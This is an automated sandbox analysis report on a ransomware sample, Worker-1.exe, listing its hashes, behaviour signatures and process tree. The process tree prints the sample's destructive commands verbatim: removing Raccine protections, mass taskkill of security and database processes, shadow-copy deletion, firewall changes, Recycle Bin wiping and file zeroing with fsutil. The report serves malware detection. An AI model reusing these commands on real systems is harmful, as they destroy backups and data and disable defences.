Resubmissions

04-11-2021 15:34

211104-sz21psghe5 10

29-10-2021 15:29

211029-swzq6saccp 10

29-10-2021 07:07

211029-hxtanshefl 8

Analysis

  • max time kernel
    127s
  • max time network
    129s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    29-10-2021 15:29

General

  • Target

    Worker-1.exe

  • Size

    385KB

  • MD5

    7677a593678d9c4552578fab18a27384

  • SHA1

    5c3b0d278df728c67122ac3ab7184c3f9ebfaa4f

  • SHA256

    2c6802679ce8ac5ed90bd25d25805e284c7dd5269f7805c68cc5fd965a0adc21

  • SHA512

    8bbce3eefabf7e7d900ba3fa0a42ca3be265425c8b5675e27839a1397d1653ae54e3abbd8a6b0b8ff7ab44d130afb1a81d04d57af42dc45e7227d676a335e082

Malware Config

Signatures

  • Disables Task Manager via registry modification
  • Downloads MZ/PE file
  • Downloads PsExec from SysInternals website 1 IoCs

    Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 10 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 2 IoCs
  • Drops file in Windows directory 13 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 58 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Worker-1.exe
    "C:\Users\Admin\AppData\Local\Temp\Worker-1.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2732
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:948
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:2244
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:3936
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:3480
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
            PID:2836
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SQLTELEMETRY start= disabled
            2⤵
              PID:1240
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config FDResPub start= auto
              2⤵
                PID:4052
              • C:\Windows\SysWOW64\netsh.exe
                "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                2⤵
                • Drops file in Windows directory
                PID:2376
              • C:\Windows\SysWOW64\sc.exe
                "sc.exe" config SSDPSRV start= auto
                2⤵
                  PID:3720
                • C:\Windows\SysWOW64\sc.exe
                  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                  2⤵
                    PID:1196
                  • C:\Windows\SysWOW64\sc.exe
                    "sc.exe" config SstpSvc start= disabled
                    2⤵
                      PID:944
                    • C:\Windows\SysWOW64\sc.exe
                      "sc.exe" config upnphost start= auto
                      2⤵
                        PID:2384
                      • C:\Windows\SysWOW64\sc.exe
                        "sc.exe" config SQLWriter start= disabled
                        2⤵
                          PID:1132
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mspub.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1484
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mspub.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1656
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM synctime.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1576
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopqos.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2524
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM Ntrtscan.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3980
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mysqld.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3092
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM isqlplussvc.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:872
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopservice.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1032
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqbcoreservice.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2804
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM onenote.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1780
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM firefoxconfig.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3800
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM agntsvc.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1608
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM excel.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3140
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM PccNTMon.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:516
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM thebat.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3488
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM dbeng50.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:64
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM CNTAoSMgr.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1100
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM steam.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:916
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM msaccess.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:660
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM thebat64.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1352
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM outlook.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2224
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlwriter.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2976
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM encsvc.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1988
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM ocomm.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3640
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM tmlisten.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2088
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM tbirdconfig.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3732
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" IM thunderbird.exe /F
                          2⤵
                          • Kills process with taskkill
                          PID:2480
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM infopath.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2836
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM dbsnmp.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1132
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM msftesql.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:396
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM wordpad.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3364
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mbamtray.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2004
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM xfssvccon.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1164
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM powerpnt.exe /F
                          2⤵
                          • Kills process with taskkill
                          PID:2276
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mysqld-opt.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2208
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM zoolz.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:400
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopqos.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2840
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM ocautoupds.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2312
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM ocssd.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2296
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM visio.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1600
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopservice.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2100
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM oracle.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2268
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM winword.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3196
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlagent.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3164
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlbrowser.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3540
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mysqld-nt.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3092
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlservr.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1576
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM ragent.exe /f
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1016
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM rmngr.exe /f
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3312
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mysql.exe /f
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:684
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqld.exe /f
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:976
                        • C:\Windows\SysWOW64\netsh.exe
                          "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                          2⤵
                            PID:2468
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mysqld.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2276
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM vmwp.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3732
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sql.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:888
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM rphost.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2224
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM oracle.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1984
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM 1cv8.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1760
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2120
                          • C:\Windows\SysWOW64\arp.exe
                            "arp" -a
                            2⤵
                              PID:1704
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                              2⤵
                                PID:3208
                              • C:\Windows\SysWOW64\netsh.exe
                                "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                2⤵
                                  PID:3416
                                • C:\Windows\SysWOW64\netsh.exe
                                  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                  2⤵
                                    PID:4004
                                  • C:\Windows\SysWOW64\arp.exe
                                    "arp" -a
                                    2⤵
                                      PID:2260
                                    • C:\Windows\SysWOW64\notepad.exe
                                      "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\-Инструкция.txt
                                      2⤵
                                        PID:2076
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                                        2⤵
                                          PID:3696
                                          • C:\Windows\SysWOW64\PING.EXE
                                            ping 127.0.0.7 -n 3
                                            3⤵
                                            • Runs ping.exe
                                            PID:2452
                                          • C:\Windows\SysWOW64\fsutil.exe
                                            fsutil file setZeroData offset=0 length=524288 “%s”
                                            3⤵
                                              PID:3416
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Worker-1.exe
                                            2⤵
                                              PID:1508
                                          • C:\Windows\splwow64.exe
                                            C:\Windows\splwow64.exe 12288
                                            1⤵
                                              PID:1208

                                            Network

                                            MITRE ATT&CK Enterprise v6

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • memory/2120-187-0x00000000051A0000-0x00000000051A1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-189-0x00000000079C0000-0x00000000079C1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-208-0x00000000051A4000-0x00000000051A6000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2120-206-0x0000000004E30000-0x0000000004E31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-196-0x0000000004E30000-0x0000000004E31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-192-0x00000000083F0000-0x00000000083F1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-193-0x0000000007B50000-0x0000000007B51000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-190-0x0000000007A60000-0x0000000007A61000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-183-0x0000000004E30000-0x0000000004E31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-195-0x0000000008BC0000-0x0000000008BC1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-184-0x0000000004E30000-0x0000000004E31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-185-0x0000000004F40000-0x0000000004F41000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-207-0x00000000051A3000-0x00000000051A4000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-186-0x0000000007B70000-0x0000000007B71000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-188-0x00000000051A2000-0x00000000051A3000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2120-194-0x0000000008B70000-0x0000000008B71000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2732-210-0x0000000007D70000-0x0000000007D71000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2732-115-0x0000000000140000-0x0000000000141000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2732-209-0x0000000008F60000-0x0000000008F61000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2732-118-0x0000000005100000-0x0000000005101000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2732-117-0x0000000004980000-0x0000000004981000-memory.dmp

                                              Filesize

                                              4KB